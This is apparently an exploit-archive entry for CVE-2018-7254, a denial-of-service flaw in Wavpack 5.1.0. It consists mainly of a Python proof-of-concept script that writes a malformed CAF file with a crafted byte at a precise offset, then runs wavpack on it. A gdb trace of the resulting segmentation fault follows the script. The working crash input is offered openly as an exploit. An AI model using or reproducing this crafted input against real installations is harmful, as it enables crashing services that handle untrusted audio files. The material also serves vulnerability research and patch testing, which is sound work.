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Wavpack 5.1.0 Denial Of Service

Wavpack 5.1.0 Denial Of Service
Posted Feb 23, 2018
Authored by r4xis

Wavpack version 5.1.0 suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2018-7254
MD5 | 101ae8999ce6a951af0e1503218bfffc

Wavpack 5.1.0 Denial Of Service

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# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage: http://www.wavpack.com/
# Software Links: http://www.wavpack.com/downloads.html
# https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on: Debian 9.3.0 64 bit
# Windows 7 32 bit and 64 bit
# Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26


import os

head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100

f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()

os.system("wavpack poc.caf")

'''
Debian gdb output:
Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms ()
at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
'''

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